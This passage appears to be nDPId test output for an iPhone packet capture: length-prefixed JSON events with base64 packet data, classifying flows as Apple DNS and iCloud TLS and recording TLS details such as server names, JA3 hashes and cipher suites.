q7n+9nhnIw9NMYsKsH9faVDWIYjTN43ys74ys\/9O9\/jKt4TjNEYHSuI1E2MTUigi\/M28POxLZt8WxUMTfeDCN+iPIpZsmBix8UiRT193+Cu58VfYxBgnIDsj3aWnSQF5hhYLxY9vTawIjSGEA11Xoou+EzppnB9KRWorHm4\/BB4WSAsh0TFfClwRcDAwEZhz4T\/o6hJ8+MJ+GbkFndgmAi+5nbHUxRm1n9b26OKzVAilYMEDenug\/R6dFZW1M9q6dDXE3myOcE2UY1HAw4HIt0petPKp64Ks1JlIPuDRs7H1od+iZRRVYQ+kka\/AxlcDbnKuedFi4ejjk2yu4EsdeYsKb1vtYPjXf\/mZ09UGZ178HwJiiQ35ZAfZOuUOpd+DdCmfg8U9O10vvtHGMdbWTT6IeVf\/buZVysgsSyd5IJAbG4fyIu\/9JWIzjgu6srksEbSXBubZEAeN5LXvl98pM5t+F7zIFxDMClFa1UN009lGG0kKxKJnl\/qxLBlbvlfNhlstJEYhAOnyhq4mnrxBgPgX9Z3a8I3lsQeyRTWtMyQx35g77nv+YXAwMARUkF2gTmEJhap77m1u2moMldNHQKhjkSi8LmvtnICA+lg0fSDVQypIKelfheKdBqM7aRtFRKUij8biFHcxoaduQQN+P1NA=="} +00440{"flow_id":43,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":79456,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG0pfAqAIRaEk9HsWXAbvBeeIgaSGKDbAQBADVtQAAAQEIChHf6gagrSJzAQEFCmkhhVxpIYoN"} +00495{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":87463,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAgBnAqsAAC4GBOgR+LBLwKgCEQG7xZQAd+hDhijtJoAYA6tmbQAAAQEIClsTCUoR3+mQFAMDAAEBFgMDACgAAAAAAAAAAD87ErFixIfSKGvShDbE2CGGHRjTt4qgrDktrKCv\/Wte"} +00519{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":87499,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAgB5AqwAAC4GBNUR+LBLwKgCEQG7xZQAd+h2hijtJoAYA6segQAAAQEIClsTCUoR3+mQFwMDAEAAAAAAAAAAAfwyc93ypSXSjT7YdleqSnSyI0t8c5f2umgeUSuH8pWwUNu+iwqsFST4AgZMD0zyauNYWp1JtmPL"} +00551{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":88616,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGrFzAqAIREfi5V8WVAbuoGuDunxP+NIAYBAD74wAAAQEIChHf6hfpLCzLFgMDACUQAAAhID1HH9ZLXe0svMiqOnBTSWAPUkzpXcDUWC8aOSS6gF9OFAMDAAEBFgMDACgAAAAAAAAAAJ5LgJBalXs2sm1ZwfhdACugHFBQMPLQgUQIaN4IzD12"} +00425{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":89093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WUAbuGKO0mAHfodoAQA\/9qBQAAAQEIChHf6fJbEwlK"} +00510{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":105084,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"xGGLNYKpxiwDYGpkCABFAABxJf8AAEARzxrAqAIBwKgCEQA18tAAXXwrzwqBgAABAAIAAAAAA2dzYQVhcHBsZQNjb20AAAEAAcAMAAUAAQAAEZYAGgNnc2EFYXBwbGUDY29tBmFrYWRucwNuZXQAwCsAAQABAAAA4QAEEYmmIw=="} +00654{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":260,"source":"iphone.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1582454599065,"flow_last_seen":1582454599105,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":39,"flow_max_l4_data_len":93,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62160,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsa.apple.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.137.166.35"}} +00510{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":105212,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"xGGLNYKpxiwDYGpkCABFAABx6W4AAEARC6vAqAIBwKgCEQA1yz8AXf6hdCWBgAABAAIAAAAAA2dzYQVhcHBsZQNjb20AAAEAAcAMAAUAAQAAEZYAGgNnc2EFYXBwbGUDY29tBmFrYWRucwNuZXQAwCsAAQABAAAA4QAEEYmmIw=="} +00654{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":261,"source":"iphone.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":2,"flow_first_seen":1582454599073,"flow_last_seen":1582454599105,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":39,"flow_max_l4_data_len":93,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52031,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsa.apple.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.137.166.35"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":262,"source":"iphone.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1582454599225,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50584,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":225110,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGtbvAqAIREfiwS8WYAbuypew6AAAAALDC\/\/9PDwAAAgQFtAEDAwcBAQgKEd\/qGwAAAAAEAgAA"} +00433{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":226094,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4qKAAAEABTMLAqAIRwKgCAQMDCZoAAAAARQAAcSX\/AABAEc8awKgCAcCoAhEANfLQAF0AAA=="} +00437{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":259226,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAC4GB8AR+LBLwKgCEQG7xZj0WnUXsqXsO6BScSAj8wAAAgQFrAEBCApbEwn1Ed\/qGwEDAwU="} +00424{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":261184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WYAbuypew79Fp1GIAQBAu8hwAAAQEIChHf6p1bEwn1"} +01126{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":261304,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGs8DAqAIREfiwS8WYAbuypew79Fp1GIAYBAuhcQAAAQEIChHf6p1bEwn1FgMBAgABAAH8AwOqol5kmYHgPoq84\/\/Da6\/5UhNT\/nZAKlLwtuCLeOmg2yA8i7r3+6nZyxj+LpdSSvhjZQ\/dp+uNkXD86w44FnW6iwA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABcAFQAAEmdhdGV3YXkuaWNsb3VkLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACADkr8qMij58U130ShRmVJ57YHqBPAcvleuo4UFzSZLegAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":268,"source":"iphone.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1582454599225,"flow_last_seen":1582454599261,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":293969,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0rPkAAC4GWs4R+LBLwKgCEQG7xZj0WnUYsqXuQIAQA6u6vgAAAQEIClsTChkR3+qd"} +02359{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":295578,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUrPoAAC4GVSsR+LBLwKgCEQG7xZj0WnUYsqXuQIAQA6tlsAAAAQEIClsTChsR3+qdFgMDAGgCAABkAwPX7gAm84D8OuuqPl9tBROrt5QshMSJP1EHjo5aUTKVaCBSN\/MBybPtgRt\/18Vcw3C1WAtvbt2+1kzoqF+efbFN\/sAsAAAcAAAAAP8BAAEAAAUAAAALAAIBAAAQAAUAAwJoMhYDAww4CwAMNAAMMQAH5zCCB+MwggbLoAMCAQICECDrGNnhMGOJ5gckndI1GuowDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MTAwODE4NDYxNFoXDTIwMTEwNjE4NTYwMFowVDEbMBkGA1UEAwwSZ2F0ZXdheS5pY2xvdWQuY29tMRMwEQYDVQQKDApBcHBsZSBJbmMuMRMwEQYDVQQIDApDYWxpZm9ybmlhMQswCQYDVQQGEwJVUzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABA3JTXZEMDNfkBeddGFOfWVcUMoJ8W7d3ST3e3HiTTWw27hpoGkazdY\/uyqetayMkeP9ioDxEA8PxI4fVx9gMvajggVsMIIFaDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMH4GCCsGAQUFBwEBBHIwcDA0BggrBgEFBQcwAoYoaHR0cDovL2NlcnRzLmFwcGxlLmNvbS9hcHBsZWlzdGNhMmcxLmRlcjA4BggrBgEFBQcwAYYsaHR0cDovL29jc3AuYXBwbGUuY29tL29jc3AwMy1hcHBsZWlzdGNhMmcxMjUwgY0GA1UdEQSBhTCBgoIYZ2F0ZXdheS1pbmRpYS5pY2xvdWQuY29tghhnYXRld2F5LWNhcnJ5LmljbG91ZC5jb22CEmdhdGV3YXkuaWNsb3VkLmNvbYIcZ2F0ZXdheS1hdXN0cmFsaWEuaWNsb3VkLmNvbYIaZ2F0ZXdheS1zYW5kYm94LmljbG91ZC5jb20wgf8GA1UdIASB9zCB9DCB8QYKKoZIhvdjZAULBDCB4jCBpAYIKwYBBQUHAgIwgZcMgZRSZWxpYW5jZSBvbiB0aGlzIGNlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgYW55IGFwcGxpY2FibGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlIGFuZC9vciBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMDkGCCsGAQUFBwIBFi1odHRwOi8vd3d3LmFwcGxlLmNvbS9jZXJ0aWZpY2F0ZWF1dGhvcml0eS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0fBDAwLjAsoCqgKIYmaHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5jcmwwHQYDVR0OBBYEFDcTKYxfoGNbyxqPKQFc6\/l8HBeZMA4GA1UdDwEB\/wQEAwIDiDARBgsqhkiG92NkBhsPAgQCBQAwEQYLKoZIhvdjZAYbCwIEAgUAMBEGCyqGSIb3Y2QGGwcCBAIFADCCAm0GCisGAQQB1nkCBAIEggJdBIICWQJXAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFtrLqfoQAABAMARjBEAiBcyMXSqYu\/NQzPC1eks2fF3nNBwnRpvtSQ93jt9Y6FxAIgQAGZ6hMU0FVYk\/U5Nz\/IH+LWui0mpLb1ikJAbD2uT7kAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAW2sup+hAAAEAwBI"} +00850{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":270,"source":"iphone.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1582454599225,"flow_last_seen":1582454599295,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02369{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":295682,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUrPsAAC4GVSoR+LBLwKgCEQG7xZj0Wnq4sqXuQIAQA6vs+gAAAQEIClsTChsR3+qdMEYCIQDdbk0W3xLwRVSqExbk6WYwON+XhEgNjWS3c5gBslGuhAIhAOFAjfHHnYs0x+SaDx9TRoc6tbR7MkI8j7D8tL8bTA0\/AHcAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFtrLqfqwAABAMASDBGAiEAgaJ1MrRM2AKsBkPp1QIT6PfODIXbQVBUCAUpo+tzOrkCIQDddAHm4u\/Gn8li8ESlxL1ZJK3FxqbrgV3vXWLNi8iiHwB1AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABbay6n6EAAAQDAEYwRAIgGHM1p6WBqV+vtqr6hd70KQdFzAWv+ozcuVTGuJp7dk4CIByS3BkfgbrlBXSSNJB0YU2uhFS8HFnPom3vv22lArFYAHUAb1N2rDHwMRnYmQCkURX\/dxUcEdkCwQApBo2yCJo32RMAAAFtrLqfywAABAMARjBEAiBaHWEaQOG2Acj23NJ5zQC63rSKppu35b4qfkAJ8X7kbgIgeEjIujG17P30x0NsVWfo0XlmL6r4EoA536jETLtvxuAwDQYJKoZIhvcNAQELBQADggEBAKGriMkz6sCwrnomv6YJ4jjwMaMNouZTjEijYKaSAYs2pIOE9O+xy3VQrni7VsR+gMkO6ivj8K8d+2za\/y+I2RQZ2TUQ6wWGorFDOoGqBZXtBV6gbGs9KDNThqQv865ePsXG2JT+biTm88weJMm7MYXFPMu6C9JosK0yxl3MDsDk45W8A+EciCdcIiZwl5J8dSnSGGYo5UMSF3qI3eSNp3NkNcxYPZnj4isyXRHrBHr1ekVVCMPF2Jox+AmwwfJRq0tdVhmqUS\/9z0Yc6KqLMm50HEB4+utGT9gDG45BW1xwuucQVqNjb4bcrs8WPZf4X7CL94S2\/\/ZbmTwQh3s0iuoABEQwggRAMIIDKKADAgECAgMCOnQwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xNDA2MTYxNTQyMDJaFw0yMjA1MjAxNTQyMDJaMGIxHDAaBgNVBAMTE0FwcGxlIElTVCBDQSAyIC0gRzExIDAeBgNVBAsTF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKEwpBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCToR1HQyAWsgtr68PVtOjHmM3z3r\/oTenjNoAH\/EUbanxFhq5W06QJf2ENa11+Umt9tMg5xPRnOveDzhlvhi9+RX5HHGdSypUFXeI2UYXA1GeANW8V3T79HdL9jzRQ2Ox2Kr7j09rk\/cjrKAKWEZcXYRzpxFk7Qtwy0Qkd2qbRQ4b\/XrK8jM9m2wGLAq6USPM4j\/3qMqgI7IaXUZQkPklJllPoeaFAgekFu5OVUfzj\/XwRS\/eeCLMVSRUH+dE3oJtLMva1xNxq0fwK7fbgxSmgqItx\/g2SvP5UcBgKbcftDPvJLQbDjIX8y4Zc1jaOEosJf\/sZGjjV8JQweg+mjPMCAwEAAaOCAR0wggEZMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBTYepREfJBwkBae3RecAUQDhtYqKTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5z"} +02367{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":297969,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUrPwAAC4GVSkR+LBLwKgCEQG7xZj0WoBYsqXuQIAQA6sQrAAAAQEIClsTCh0R3+qdeW1jZC5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwDQYJKoZIhvcNAQELBQADggEBABZHc2+FomLh5yp2u4mVQiaXvEqsrHBTOj8xgz08HKua4rFdHHYaoDwMcle+055Q4MiZ1ljXAurODSlUfM31wsaQKVWjbxSoC0INOphtBnie8GqjHQIKoiikjcKBRj5tZ9reP\/6FDkIqEt61t\/u4G6eW7Hef7NRTlXr\/B\/TyChTAUVKx1o5QCxqZXLwLyb3t7fhewVbbTX4jpBGhLNQbBZrkG1L2fDiZBUu6co1CiWAEZir0\/WjXa\/eZQSjWbCSr5iVTLsiCmeKijyO+MIOxJ4v6aH8BSejGmGsQLpheitfKS7HHyVia0DbblpXstoHk8s1vG3mHTBA8ieRN+lTcqqYWAwMFshYABa4BAAWqMIIFpgoBAKCCBZ8wggWbBgkrBgEFBQcwAQEEggWMMIIFiDCBoqIWBBRtmHWQn\/fqeBctjWd4mUcrWqqVwBgPMjAyMDAyMjMwMzQ0NDBaMHcwdTBJMAkGBSsOAwIaBQAEFCaEh7OMUBUpl9vU0X43\/z8u8xVoBBTYepREfJBwkBae3RecAUQDhtYqKQIQIOsY2eEwY4nmBySd0jUa6oAAGA8yMDIwMDIyMzAzNDQ0MFqgERgPMjAyMDAyMjMxNTQ0NDBaoQIwADANBgkqhkiG9w0BAQsFAAOCAQEAlz8kzwTNL4DreEokBuMsetKeh0dcofwzjM0d0OSiAy8HKR+etg0hwzjzkMoTWISwWgTi3B1sJGKSMZ19FUMgTZn4yIjxNdwrQNB4cE2DziZgsFITf77+13g64KVP2NaAc+T5V+bRcZJ03et+gkWWJJD3LiVlmJBNfdVp6tiuDAI0Ngsr7cQQ+0qp3EqrUku9Stxo4ldKmdcjeB\/B\/CQsoSSpQbHc7BFb2B5\/0IDczO68caVYUfrelBs9H77nfwtnFA3W+PQ8DlaNrLp+7dLN4WG2ImcEF29Tara8CKkJ0SunfNbHfcwQVfoqYwWu6e+ic24+sVNhYwm7Ezq+\/lDklaCCA8swggPHMIIDwzCCAqugAwIBAgIQQOU9e0o0X00kwGvYo3rGmTANBgkqhkiG9w0BAQsFADBiMRwwGgYDVQQDExNBcHBsZSBJU1QgQ0EgMiAtIEcxMSAwHgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UEChMKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwHhcNMjAwMjE5MTYyMTQyWhcNMjAwNDAxMTYyMTQyWjBPMSswKQYDVQQDDCJBcHBsZSBJU1QgQ0EgMiBPQ1NQIFJlc3BvbmRlciBSTDA0MRMwEQYDVQQKDApBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJrC64q6envcCtPKJaAaN4gVTLL0EuZUae9A15l28SjzyHp9U4w5buheyZLZT07XBTvH7vEDQnd8C8sUH\/2EnRwJt5yvAFlAEMx\/uhUizW82DYxuJHOfZdZKclTioPSXZnprOzxrOMshIah\/sjVpDoV2Hk7r0EmCnqStVOjixuPjuzxoTXsJqjPDnqRdVJa1vrg13NnmCHnku7+2sZvcK5UHb9d\/ft03IKYTpKniEEolsv1w3eeCBJBMgSqufUY4nWVfilwKJ5d1HJ\/E62apvXPRhP78ezj7odSWvKPwQ1S8n1deOxKuubQET9d53MjOA5zqmPB+gYsOnXEAunura2kCAwEAAaOBhzCBhDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQY"} +01222{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":272,"source":"iphone.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":8,"flow_first_seen":1582454599225,"flow_last_seen":1582454599297,"flow_tot_l4_data_len":5113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":639,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","server_names":"gateway-india.icloud.com,gateway-carry.icloud.com,gateway.icloud.com,gateway-australia.icloud.com,gateway-sandbox.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=gateway.icloud.com, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"D2:DA:1C:68:0C:91:A7:DB:BA:B2:2D:29:06:DB:57:42:10:3D:3A:FE"}} 